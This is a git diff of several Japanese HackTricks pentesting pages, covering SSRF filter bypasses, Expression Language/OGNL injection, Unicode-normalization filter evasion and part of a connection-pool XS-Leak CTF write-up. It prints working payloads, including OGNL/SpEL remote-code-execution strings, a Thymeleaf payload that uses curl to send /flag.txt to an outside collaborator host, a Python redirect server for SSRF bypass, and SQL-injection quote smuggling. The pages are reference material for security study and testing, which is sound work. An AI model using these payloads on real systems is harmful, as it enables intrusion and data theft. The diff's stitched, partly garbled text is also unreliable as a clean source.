* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
最も重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -161,20 +161,20 @@ next={domain}&next=attacker.com
```
### パスと拡張子のバイパス
URLがパスまたは拡張子で終わる必要があるか、またはパスを含む必要がある場合、次のバイパスのいずれかを試すことができます:
URLがパスまたは拡張子で終わる必要があるか、パスを含む必要がある場合は、以下のバイパスのいずれかを試すことができます:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### ファジング
### Fuzzing
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、指定された入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、指定された入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。
### リダイレクト経由のバイパス
サーバーがSSRFの**元のリクエストをフィルタリングしている可能性**があるが、そのリクエストへの**リダイレクト**応答はフィルタリングしていない可能性があります。\
たとえば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリング**しているかもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所にリダイレクトすると、127.0.0.1のようなフィルタリングされたIPアドレスやgopherのようなフィルタリングされた**プロトコル**にアクセスできるかもしれません。\
サーバーがSSRFの**元のリクエストをフィルタリングしている可能性がある**が、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングしていない**かもしれません。\
えば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、[pythonサーバーを使用して302で応答する](https://pastebin.com/raw/ywAUhFrv)ことで、リダイレクトしたい場所に**アクセスできるかもしれません**。127.0.0.1のようなフィルタリングされたIPアドレスやgopherのようなフィルタリングされた**プロトコル**にアクセスできるかもしれません。\
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -196,11 +196,11 @@ self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## 説トリック
## 説明されたトリック
### バックスラッシュトリック
*バックスラッシュトリック* は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URL に特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG 標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識しているにあり、特にURL内でホスト名からパスへの移行をマークする方法に影響を与えます。
*バックスラッシュトリック* は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URLに特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識していることにあり、特にURL内でホスト名からパスへの移行をマークする方法に影響を与えます。
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -211,7 +211,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
画像元: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
# 参考文献
## 参考文献
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
@ -224,14 +224,14 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com) を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを見つけてください
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローしてください。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを見つけてください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローしてください
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れま
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
@ -23,9 +23,9 @@ Expression Language (EL) は、JavaEEにおいてプレゼンテーション層
**使用コンテキスト**
- **Spring Framework**:セキュリティやデータなどのさまざまなモジュールで使用されます。
- **一般的な使用**Java、Kotlin、ScalaなどのJVMベースの言語で、開発者によってSpEL APIを介して使用されます。
- **一般的な使用**Java、Kotlin、ScalaなどのJVMベースの言語で、開発者がSpEL APIを介して使用します。
ELはJavaEE技術、スタンドアロン環境に存在し、`.jsp`または`.jsf`のファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
ELはJavaEEテクノロジ、スタンドアロン環境に存在し、`.jsp`または`.jsf`のファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
{% hint style="info" %}
**ELバージョン**によっては、一部の**機能**が**オン**または**オフ**になることがあり、通常は一部の**文字**が**許可されない**ことがあります。
@ -33,16 +33,16 @@ ELはJavaEE技術、スタンドアロン環境に存在し、`.jsp`または`.j
## 基本例
(の興味深いELチュートリアルは[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)で見つけることができます)
(の興味深いELチュートリアルは[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)で見つけることができます)
[**Maven**](https://mvnrepository.com)リポジトリから以下のjarファイルをダウンロードします
[**Maven**](https://mvnrepository.com)リポジトリから以下のjarファイルをダウンロードしてください
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
そして、以下の`Main.java`ファイルを作成します
そして、以下の`Main.java`ファイルを作成してください
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
@ -67,7 +67,7 @@ System.out.println(result);
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
アプリケーションを実行するには次のコマンドを使用してください
アプリケーションを実行するには次のコマンドを使用してください:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
@ -149,7 +149,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* RCE **linux**
* RCE **Linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
@ -205,11 +205,11 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
```bash
${sessionScope.toString()}
```
#### 認バイパスの例
#### 認バイパスの例
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
アプリケーションは、カスタム変数も使用できます。
アプリケーションは、次のようなカスタム変数も使用できます:
```bash
${user}
${password}
@ -217,7 +217,7 @@ ${employee.FirstName}
```
## WAF バイパス
[https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
[https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)をチェックしてください。
## 参考文献
@ -225,15 +225,3 @@ ${employee.FirstName}
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks での広告掲載**をご希望ですか?または、**PEASS の最新バージョンにアクセス**したいですか、または **HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションをご覧ください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出してください。**
</details>

View file

@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
@ -18,24 +18,24 @@ HackTricksをサポートする他の方法
## Unicodeと正規化の理解
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準では、2種類の文字の同等性が定義されています:
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています:
1. **正準同等性**:文字は、印刷または表示されたときに同じ外観と意味を持つ場合、正準的に等と見なされます。
1. **正準同等性**:文字は、印刷または表示されたときに同じ外観と意味を持つ場合、正準的に等と見なされます。
2. **互換性同等性**:より弱い同等性の形式で、文字は同じ抽象文字を表すかもしれませんが、異なる表示方法ができます。
**4つのUnicode正規化アルゴリズム**がありますNFC、NFD、NFKC、NFKD。各アルゴリズムは、正準化と互換性の正規化技術を異なる方法で使用します。詳細については、[Unicode.org](https://unicode.org/)でこれらの技術を探索できます。
**4つのUnicode正規化アルゴリズム**がありますNFC、NFD、NFKC、NFKD。各アルゴリズムは、正準化と互換性の異なるテクニックを使用しています。詳細については、[Unicode.org](https://unicode.org/)でこれらのテクニックを探索できます。
### Unicodeエンコーディングの要点
Unicodeエンコーディングの理解は、異なるシステムや言語間の相互運用性の問題を扱う際に特に重要です。以下は主なポイントです
- **コードポイントと文字**Unicodeでは、各文字や記号に「コードポイント」として知られる数値が割り当てられます。
- **バイト表現**:コードポイント(または文字)は、メモリ内の1バイト以上で表されます。たとえば、英語圏で一般的なLATIN-1文字は1バイトを使用して表されます。ただし、より多くの文字を持つ言語では、表現に複数のバイトが必要です。
- **エンコーディング**この用語は、文字がバイトのシリーズに変換される方法を指します。UTF-8は、ASCII文字が1バイトで表され、他の文字には最大4バイトが使用される一般的なエンコーディング規格です。
- **バイト表現**:コードポイント(または文字)は、メモリ内で1つ以上のバイトで表されます。たとえば、英語圏で一般的なLATIN-1文字は1バイトを使用して表されます。ただし、より多くの文字を持つ言語では、表現に複数のバイトが必要です。
- **エンコーディング**この用語は、文字がバイトのシリーズに変換される方法を指します。UTF-8は、ASCII文字が1バイトで表され、他の文字には最大4バイトが使用される普及したエンコーディング標準です。
- **データ処理**:データを処理するシステムは、バイトストリームを文字に正しく変換するために使用されるエンコーディングを正確に把握している必要があります。
- **UTFのバリアント**UTF-8以外にも、UTF-16最低2バイト、最大4バイト、UTF-32すべての文字に4バイトを使用など、他のエンコーディング規格があります。
- **UTFのバリアント**UTF-8以外にも、UTF-16最低2バイト、最大4バイト、UTF-32すべての文字に4バイトを使用など、他のエンコーディング標準があります。
Unicodeの複雑さとさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、緩和するために、これらの概念を理解することが重要です。
これらの概念を理解することは、Unicodeの複雑さとさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、緩和するために重要です。
Unicodeが同じ文字を表す異なるバイトを正規化する例
```python
@ -53,7 +53,7 @@ Webアプリ内でエコーバックされている値を見つけることが
### **SQLインジェクションフィルター回避**
ユーザー入力を使用してSQLクエリを作成するために文字 `'` を使用しているWebページを想像してください。このWebは、セキュリティ対策として、ユーザー入力から文字 **`'`** のすべての出現を **削除** しますが、その削除後、クエリの作成の前に、ユーザーの入力を **Unicode** を使用して **正規化** します。
ユーザー入力を使用してSQLクエリを作成するために文字 `'` を使用しているWebページを想像してみてください。このWebは、セキュリティ対策として、ユーザー入力から文字 **`'`** のすべての出現を **削除** しますが、その削除後、クエリの作成の前に、ユーザーの入力を **Unicode** を使用して **正規化** します。
その後、悪意のあるユーザーは、`' (0x27)` に相当する異なるUnicode文字を挿入することができます。例えば `%ef%bc%87` を挿入すると、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性** が発生します:
@ -101,26 +101,26 @@ Webアプリをだますために、以下の文字のいずれかを使用し
### ファジング正規表現
バックエンドが**正規表現でユーザー入力をチェック**している場合、**入力**が**正規化**されている可能性がありますが、**使用されている**場所では**正規化されていない**かもしれません。たとえば、Open RedirectやSSRFでは、正規表現が送信されたURLを**正規化**してからそのままアクセスするかもしれません。
バックエンドが**正規表現でユーザー入力をチェック**している場合、**入力**が**正規表現のために正規化**されている可能性がありますが、**使用されている**場所では**正規化されていない**かもしれません。たとえば、Open RedirectやSSRFでは、正規表現が送信されたURLを**正規化**してから**そのままアクセス**するかもしれません。
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、バックエンドをファジングするために**入力の変化を生成**することができます。詳細については、**github**とこの[**記事**](https://0xacb.com/2022/11/21/recollapse/)をチェックしてください。
# 参考文献
## 参考文献
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details>

View file

@ -1,14 +1,14 @@
# 接続プールの宛先例
# Connection Pool by Destination Example
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**PRを提出してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有**するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**PRを提出**してください。
</details>
@ -22,11 +22,11 @@
* 攻撃者は、**`<img`** タグが **`/js/purify.js`** **ロード** するようなノートをできるだけ多く挿入します元をブロックするために6つ以上)。
* 次に、攻撃者は **インデックス1****ノート****削除** します。
* その後、攻撃者は\[**ボットにページにアクセスさせ**、残っているノートにリクエストを送信します。このリクエストは **`victim.com/js/purify.js`** に向けられ、攻撃者はそれを **タイム**ます。
* タイムが**大きい**場合、**注入**は残された **ノート** にあったことを示し、タイムが**小さい**場合、**フラグ** がそこにあったことを示します。
* その後、攻撃者は\[**ボットにページにアクセスさせ**、残っているノートにリクエストを送信します。**`victim.com/js/purify.js`** に**タイム**を送ります。
* タイムが**大きい**場合、**インジェクション**は**残されたノート**にあり、タイムが**小さい**場合、**フラグ**がそこにあることになります。
{% hint style="info" %}
正直なところ、スクリプトを読んでいて、**攻撃者がボットにページをロードさせてimgタグをトリガーする**部分を見逃してしまいました。コードにそのような部分は見当たりません
正直なところ、スクリプトを読んでいて、**攻撃者がボットにページをロードさせてimgタグをトリガーする**部分を見逃してしまいました。コードの中にそのようなものは見当たりません。
{% endhint %}
```html
<html>
@ -124,10 +124,10 @@ break;
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
